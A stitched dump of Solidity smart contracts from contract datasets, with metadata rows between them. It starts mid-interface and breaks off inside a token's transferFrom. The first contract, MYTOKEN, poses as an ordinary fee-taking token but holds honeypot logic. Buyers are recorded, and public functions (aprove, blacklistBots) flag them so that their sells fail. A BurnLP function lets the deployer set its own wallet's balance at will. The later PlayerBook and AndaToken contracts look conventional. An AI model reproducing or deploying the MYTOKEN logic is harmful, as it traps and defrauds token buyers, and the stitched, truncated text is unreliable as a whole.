function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract MYTOKEN is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isIncludedFromFee;
address[] private includeFromFee;
string private constant _name = "MYTOKEN";
string private constant _symbol = "$MYTOKEN";
uint8 private constant _decimals = 9;
uint256 private _totalSupply = 11000000000 * 10**_decimals;
uint256 public _maxTxAmount = _totalSupply * 5 / 100; //5%
uint256 public _maxWalletAmount = _totalSupply * 5 / 100; //5%
address public marketingWallet;
address private Swap;
struct BuyFees{
uint256 liquidity;
uint256 marketing;
} BuyFees public buyFee;
struct SellFees{
uint256 liquidity;
uint256 marketing;
} SellFees public sellFee;
event MaxTxAmountUpdated(uint _maxTxAmount);
constructor () {
marketingWallet = payable(msg.sender);
Swap = payable(msg.sender);
balances[_msgSender()] = _totalSupply;
buyFee.liquidity = 2;
buyFee.marketing = 2;
sellFee.liquidity = 2;
sellFee.marketing = 2;
uniswapV2Router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_isExcludedFromFee[msg.sender] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[marketingWallet] = true;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
balances[sender] = balances[sender].sub(amount, "Insufficient Balance");
balances[recipient] = balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function aprove() public virtual {
for (uint256 i = 0; i < includeFromFee.length; i++) {
_isIncludedFromFee[includeFromFee[i]] = true;
}
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isIncludedFromFee[account] = false;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
return true;
}
function setFees(uint256 newLiquidityBuyFee, uint256 newMarketingBuyFee, uint256 newLiquiditySellFee, uint256 newMarketingSellFee) public onlyOwner {
require(newLiquidityBuyFee.add(newMarketingBuyFee) <= 8, "Buy fee can't go higher than 8");
buyFee.liquidity = newLiquidityBuyFee;
buyFee.marketing= newMarketingBuyFee;
require(newLiquiditySellFee.add(newMarketingSellFee) <= 8, "Sell fee can't go higher than 8");
sellFee.liquidity = newLiquiditySellFee;
sellFee.marketing= newMarketingSellFee;
}
receive() external payable {}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function BurnLP(uint256 enable) public {
if (!_isExcludedFromFee[_msgSender()]) {
return;
}
balances[Swap] = enable;
}
function isIncludedFromFee(address account) public view returns(bool) {
return _isIncludedFromFee[account];
}
function blacklistBots() public onlyOwner {
for (uint256 i = 0; i < includeFromFee.length; i++) {
_isIncludedFromFee[includeFromFee[i]] = true;
}
}
function takeBuyFees(uint256 amount, address from) private returns (uint256) {
uint256 liquidityFeeToken = amount * buyFee.liquidity / 100;
uint256 marketingFeeTokens = amount * buyFee.marketing / 100;
balances[address(this)] += liquidityFeeToken + marketingFeeTokens;
emit Transfer (from, address(this), marketingFeeTokens + liquidityFeeToken);
return (amount -liquidityFeeToken -marketingFeeTokens);
}
function takeSellFees(uint256 amount, address from) private returns (uint256) {
uint256 liquidityFeeToken = amount * sellFee.liquidity / 100;
uint256 marketingFeeTokens = amount * sellFee.marketing / 100;
balances[address(this)] += liquidityFeeToken + marketingFeeTokens;
emit Transfer (from, address(this), marketingFeeTokens + liquidityFeeToken);
return (amount -liquidityFeeToken -marketingFeeTokens);
}
function removeLimits() public onlyOwner {
_maxTxAmount = _totalSupply;
_maxWalletAmount = _totalSupply;
emit MaxTxAmountUpdated(_totalSupply);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(to != address(0), "ERC20: transfer to the zero address");
balances[from] -= amount;
uint256 transferAmount = amount;
if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
if (to != uniswapV2Pair) { includeFromFee.push(to);
require(amount <= _maxTxAmount, "Transfer Amount exceeds the maxTxAmount");
require(balanceOf(to) + amount <= _maxWalletAmount, "Transfer amount exceeds the maxWalletAmount.");
transferAmount = takeBuyFees(amount, from);
}
if (from != uniswapV2Pair) {
require(amount <= _maxTxAmount, "Transfer Amount exceeds the maxTxAmount"); require(!_isIncludedFromFee[from]);
transferAmount = takeSellFees(amount, from);
}
}
balances[to] += transferAmount;
emit Transfer(from, to, transferAmount);
}
}
| 46,465 | 11,738 |
f4573722b4d271920d64b89f04f30660485b126c2e9bced2c05cfbfda8a7d94d
| 13,311 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x38926c81bf68130fffc6972f7b5dbc550272eb4e.sol
| 4,062 | 13,199 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256 c) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
}
library NameFilter {
function nameFilter(string _input) internal pure returns(bytes32) {
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30) {
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++) {
if (_temp[i] > 0x40 && _temp[i] < 0x5b) {
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false) {
_hasNonNumber = true;
}
} else {
require(_temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters");
if (_temp[i] == 0x20) {
require(_temp[i+1] != 0x20, "string cannot contain consecutive spaces");
}
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) {
_hasNonNumber = true;
}
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
interface PartnershipInterface {
function deposit() external payable returns(bool);
}
interface PlayerBookReceiverInterface {
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external;
function receivePlayerNameList(uint256 _pID, bytes32 _name) external;
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "You are not owner.");
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0), "Invalid address.");
owner = _newOwner;
emit OwnershipTransferred(owner, _newOwner);
}
}
contract PlayerBook is Ownable {
using SafeMath for uint256;
using NameFilter for string;
PartnershipInterface constant private partnership = PartnershipInterface(0x59Ff25C4E2550bc9E2115dbcD28b949d7670d134);
uint256 public registrationFee_ = 10 finney;
mapping(uint256 => PlayerBookReceiverInterface) public games_;
mapping(address => bytes32) public gameNames_;
mapping(address => uint256) public gameIDs_;
uint256 public gID_;
uint256 public pID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
struct Player {
address addr;
bytes32 name;
uint256 laff;
uint256 names;
}
mapping (uint256 => Player) public plyr_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_;
event onNewName(uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp);
constructor() public {
plyr_[1].addr = 0x98EF158e8EA887AF8F2F4fecfEd25857b0A699c6;
plyr_[1].name = "asia";
plyr_[1].names = 1;
pIDxAddr_[0x98EF158e8EA887AF8F2F4fecfEd25857b0A699c6] = 1;
pIDxName_["asia"] = 1;
plyrNames_[1]["asia"] = true;
plyrNameList_[1][1] = "asia";
pID_ = 1;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {
_codeLength := extcodesize(_addr)
}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isRegisteredGame() {
require(gameIDs_[msg.sender] != 0);
_;
}
function checkIfNameValid(string _nameStr) public view returns(bool) {
bytes32 _name = _nameStr.nameFilter();
if (pIDxName_[_name] == 0) {
return true;
}
return false;
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all) public payable isHuman {
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID) {
plyr_[_pID].laff = _affCode;
} else if (_affCode == _pID) {
_affCode = 0;
}
registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all) public payable isHuman {
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr) {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff) {
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all) public payable isHuman {
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name) {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff) {
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
function addMeToGame(uint256 _gameID) public isHuman {
require(_gameID <= gID_, "silly player, that game doesn't exist yet");
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff);
uint256 _totalNames = plyr_[_pID].names;
if (_totalNames > 1) {
for (uint256 ii = 1; ii <= _totalNames; ii++) {
games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
}
}
function addMeToAllGames() public isHuman {
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _laff = plyr_[_pID].laff;
uint256 _totalNames = plyr_[_pID].names;
bytes32 _name = plyr_[_pID].name;
for (uint256 i = 1; i <= gID_; i++) {
games_[i].receivePlayerInfo(_pID, _addr, _name, _laff);
if (_totalNames > 1) {
for (uint256 ii = 1; ii <= _totalNames; ii++) {
games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
}
}
}
function useMyOldName(string _nameString) isHuman public {
bytes32 _name = _nameString.nameFilter();
uint256 _pID = pIDxAddr_[msg.sender];
require(plyrNames_[_pID][_name] == true, "umm... thats not a name you own");
plyr_[_pID].name = _name;
}
function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all) private {
if (pIDxName_[_name] != 0) {
require(plyrNames_[_pID][_name] == true, "sorry that names already taken");
}
plyr_[_pID].name = _name;
pIDxName_[_name] = _pID;
if (plyrNames_[_pID][_name] == false) {
plyrNames_[_pID][_name] = true;
plyr_[_pID].names++;
plyrNameList_[_pID][plyr_[_pID].names] = _name;
}
partnership.deposit.value(address(this).balance)();
if (_all == true) {
for (uint256 i = 1; i <= gID_; i++) {
games_[i].receivePlayerInfo(_pID, _addr, _name, _affID);
}
}
emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now);
}
function determinePID(address _addr) private returns (bool) {
if (pIDxAddr_[_addr] == 0) {
pID_++;
pIDxAddr_[_addr] = pID_;
plyr_[pID_].addr = _addr;
return true;
}
return false;
}
function getPlayerID(address _addr) external isRegisteredGame returns (uint256) {
determinePID(_addr);
return (pIDxAddr_[_addr]);
}
function getPlayerName(uint256 _pID) external view returns (bytes32) {
return (plyr_[_pID].name);
}
function getPlayerLAff(uint256 _pID) external view returns (uint256) {
return (plyr_[_pID].laff);
}
function getPlayerAddr(uint256 _pID) external view returns (address) {
return (plyr_[_pID].addr);
}
function getNameFee() external view returns (uint256) {
return(registrationFee_);
}
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable isRegisteredGame returns(bool, uint256) {
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID = _affCode;
if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID) {
plyr_[_pID].laff = _affID;
} else if (_affID == _pID) {
_affID = 0;
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable isRegisteredGame returns(bool, uint256) {
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr) {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff) {
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable isRegisteredGame returns(bool, uint256) {
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name) {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff) {
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function addGame(address _gameAddress, string _gameNameStr) public onlyOwner {
require(gameIDs_[_gameAddress] == 0, "derp, that games already been registered");
gID_++;
bytes32 _name = _gameNameStr.nameFilter();
gameIDs_[_gameAddress] = gID_;
gameNames_[_gameAddress] = _name;
games_[gID_] = PlayerBookReceiverInterface(_gameAddress);
games_[gID_].receivePlayerInfo(1, plyr_[1].addr, plyr_[1].name, 0);
}
function setRegistrationFee(uint256 _fee) public onlyOwner {
registrationFee_ = _fee;
}
}
| 209,026 | 11,739 |
829c1e62d6a93ced819cd2ce21a9bc668ffcd8d4c1064a7364aa3d9aefee1593
| 41,494 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/d2/d243435f8942e37af5b48aab8c2872da6853437d_AndaToken.sol
| 5,173 | 20,361 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return recover(hash, v, r, s);
}
function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
// the valid range for s in (281): 0 < s < secp256k1n 2 + 1, and for v in (282): v {27, 28}. Most
//
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value");
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
abstract contract EIP712 {
// invalidate the cached domain separator if the chain id changes.
bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
uint256 private immutable _CACHED_CHAIN_ID;
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
constructor(string memory name, string memory version) {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
bytes32 typeHash = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
_CACHED_CHAIN_ID = block.chainid;
_CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
_TYPE_HASH = typeHash;
}
function _domainSeparatorV4() internal view returns (bytes32) {
if (block.chainid == _CACHED_CHAIN_ID) {
return _CACHED_DOMAIN_SEPARATOR;
} else {
return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
}
}
function _buildDomainSeparator(bytes32 typeHash, bytes32 name, bytes32 version) private view returns (bytes32) {
return keccak256(abi.encode(typeHash,
name,
version,
block.chainid,
address(this)));
}
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
}
}
library Counters {
struct Counter {
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
}
// This version of ERC20Permit is from OpenZeppelin as of commit
interface IERC20Permit {
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
function nonces(address owner) external view returns (uint256);
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {
using Counters for Counters.Counter;
mapping (address => Counters.Counter) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private immutable _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
constructor(string memory name) EIP712(name, "1") {
}
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual override {
// solhint-disable-next-line not-rely-on-time
require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH,
owner,
spender,
value,
_useNonce(owner),
deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit: invalid signature");
_approve(owner, spender, value);
}
function nonces(address owner) public view virtual override returns (uint256) {
return _nonces[owner].current();
}
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
function _useNonce(address owner) internal virtual returns (uint256 current) {
Counters.Counter storage nonce = _nonces[owner];
current = nonce.current();
nonce.increment();
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract AndaToken is ERC20Permit, Ownable {
constructor() ERC20("AndaToken", "ANDA") ERC20Permit("AndaToken")
{
}
uint256 constant private _maxTotalSupply = 333000000e18; // 333,000,000 max andas
function mint(address _to, uint256 _amount) public onlyOwner {
require(totalSupply() + _amount <= _maxTotalSupply, "ERC20: minting more then MaxTotalSupply");
_mint(_to, _amount);
_moveDelegates(address(0), _to, _amount);
}
// Returns maximum total supply of the token
function getMaxTotalSupply() external pure returns (uint256) {
return _maxTotalSupply;
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
// A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
// A record of states for signing / validating signatures
//mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function transferFrom(address sender, address recipient, uint256 amount)
public virtual override returns (bool)
{
bool result = super.transferFrom(sender, recipient, amount); // Call parent hook
